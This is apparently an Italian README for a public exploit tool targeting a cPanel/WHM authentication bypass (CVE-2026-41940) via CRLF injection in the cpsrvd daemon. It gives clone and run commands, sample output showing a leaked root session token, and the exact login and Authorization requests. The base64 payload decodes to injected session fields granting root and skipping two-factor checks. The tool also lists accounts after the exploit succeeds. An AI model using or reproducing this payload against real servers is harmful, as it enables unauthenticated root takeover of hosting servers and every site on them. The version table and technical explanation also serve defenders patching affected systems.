
Exploit critico di bypass dell'autenticazione per cPanel/WHM CVE-2026-41940. Sfrutta l'iniezione CRLF nel demone cpsrvd per ottenere accesso root a WHM senza credenziali. Include rilevamento della versione, logging dettagliato, supporto proxy, reporting JSON ed enumerazione degli account post-exploitation. Solo per test di sicurezza autorizzati.
Bypass critico dell'autenticazione tramite iniezione CRLF nel daemon cpsrvd di cPanel/WHM
CVE-2026-41940 è una vulnerabilità critica di bypass dell'autenticazione in cPanel & WHM che consente ad attaccanti remoti non autenticati di ottenere accesso amministrativo di livello root al server. La vulnerabilità risiede nella gestione delle sessioni del daemon
cpsrvd, in particolare inCpanel/Session.pm, dove la neutralizzazione impropria dei delimitatori di riga (CRLF) nel cookiewhostmgrsessione negli headerAuthorizationconsente l'iniezione di parametri di sessione.
| Punteggio CVSS | Tipo di Exploit | Impatto | Vettore di Attacco |
|---|---|---|---|
| 9.8 | Bypass dell'Autenticazione | Accesso Root | Rete |
Questo strumento di exploit offre le seguenti caratteristiche principali:
🔓 Bypass dell'Autenticazione - Ottieni accesso root a WHM senza credenziali
🛡️ Tecniche di Bypass Multiple - Prova automaticamente diversi metodi di verifica
🌐 Supporto Proxy - Instrada il traffico attraverso proxy HTTP/HTTPS
📊 Report JSON - Genera report di valutazione dettagliati
📝 Registrazione Completa - Modalità di debug estesa con timestamp
🔍 Rilevamento Versione - Rileva e verifica automaticamente le versioni vulnerabili
👥 Enumerazione Account - Elenca tutti gli account cPanel post-exploit
🎯 Endpoint Multipli - Tenta vari endpoint API per la verifica
| Attributo | Valore |
|---|---|
| ID CVE | CVE-2026-41940 |
| Punteggio CVSS | 9.8 (Critico) |
| Tipo di Vulnerabilità | Bypass dell'Autenticazione tramite Iniezione CRLF |
| Componente Interessato | daemon cpsrvd (Cpanel/Session.pm) |
| Vettore di Attacco | Rete |
| Impatto | Accesso Root Completo |
| Sfruttamento | Remoto Non Autenticato |
La vulnerabilità deriva da due problemi principali:
Iniezione CRLF nello Storage delle Sessioni - La funzione saveSession non sanifica i caratteri di nuova riga (\n) nel campo pass prima di scrivere nel file di sessione, consentendo l'iniezione di parametri di sessione arbitrari.
Bypass Condizionale della Codifica - Quando il cookie di sessione non contiene la parte ob (il segmento dopo la virgola), il valore di pass viene scritto non codificato (in chiaro), abilitando l'iniezione di sequenze CRLF.
| Canale di Rilascio | Vulnerabile Fino a | Versione Corretta |
|---|---|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
| Argomento | Breve | Richiesto | Descrizione |
|---|---|---|---|
--target | -t | ✅ | URL del target (es. https://target.com:2087 ) |
--verbose | -v | ❌ | Abilita output verboso/di debug |
--proxy | -p | ❌ | URL del proxy (es. http://127.0.0.1:8080 ) |
--output | -o | ❌ | File di output per il report JSON |
--timeout | ❌ | Timeout della richiesta in secondi (predefinito: 10) | |
--list-accounts | -l | ❌ | Elenca gli account cPanel dopo un exploit riuscito |
--version | ❌ | Mostra la versione dell'exploit |
L'exploit ottiene prima un cookie di sessione pre-autenticazione tentando un accesso fallito:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Risposta:
Set-Cookie: whostmgrsession=base64_encoded_data
L'header Authorization appositamente costruito inietta parametri di sessione dannosi:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Payload Decodificato:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1